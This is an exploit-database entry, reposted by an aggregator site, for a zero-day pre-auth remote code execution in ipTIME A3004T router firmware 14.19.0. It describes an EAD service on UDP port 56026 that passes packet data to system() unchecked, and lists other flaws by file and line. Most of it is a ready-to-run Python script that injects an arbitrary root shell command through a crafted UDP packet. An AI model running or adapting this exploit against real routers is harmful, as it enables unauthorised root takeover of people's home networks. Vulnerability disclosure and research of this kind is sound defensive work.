[remote] ipTIME A3004T - Remote Code Execution
# Exploit Title: ipTIME A3004T - Remote Code Exe 2026-8-17 00:0:0 Author: www.exploit-db.com(查看原文) 阅读量:0 收藏

# Exploit Title: ipTIME A3004T  - Remote Code Execution
# Date: 2026-06-29
# Exploit Author: Paccaron
# Vendor Homepage: https://www.iptime.com
# Software Link: https://www.iptime.com/iptime/?page_id=147&pid=34
# Version: 14.19.0
# Tested on: ipTIME A3004T (Physical Device, OpenWRT based, MediaTek MT7621)
# CVE: N/A (Zero-Day)

Description:
The EAD Service in ipTIME A3004T firmware 14.19.0 binds to UDP port 56026
and does not filter source IP addresses. A remote attacker can send a
crafted EAD_TYPE_SEND_CMD packet to execute arbitrary commands on the
device with root privileges. The vulnerability exists in the handle_send_cmd()
function where user-controlled data is passed directly to system() without
any input sanitization.

Vulnerable File: /package/network/services/ead/src/ead.c
Vulnerable Functions: handle_send_cmd() (lines 473-580)
Vulnerable Lines: 512, 533

Attack Vectors:
1. Pre-auth RCE (Command Injection) - Lines 512, 533
2. Buffer Overflow - ead-client.c:245 (strcpy)
3. Format String - ead.c:952
4. Path Traversal - tinysrp/t_misc.c:143
5. Denial of Service - ead.c:716 (while loop)

import socket
import sys

def exploit(target_ip, command):
    """
    ipTIME A3004T EAD Service Pre-auth RCE
    Exploit by Paccaron
    Tested on firmware 14.19.0
    """
    
    port = 56026
    
    # EAD_TYPE_SEND_CMD = 0x0a (10)
    # Minimal packet structure
    payload = b"\x00\x00\x00\x0a"  # EAD_TYPE_SEND_CMD
    payload += b"\x00" * 60        # Padding
    payload += b";" + command.encode() + b"\x00"  # Command injection
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    
    try:
        sock.sendto(payload, (target_ip, port))
        print(f"[+] Command sent to {target_ip}:{port}")
        print(f"[+] Command: {command}")
        sock.close()
        return True
    except Exception as e:
        print(f"[-] Failed: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python exploit.py <TARGET_IP> <COMMAND>")
        print("Example: python exploit.py 192.168.1.1 id")
        sys.exit(1)
    
    target = sys.argv[1]
    cmd = sys.argv[2]
    exploit(target, cmd)
            

文章来源: https://www.exploit-db.com/exploits/52644
如有侵权请联系:admin#unsafe.sh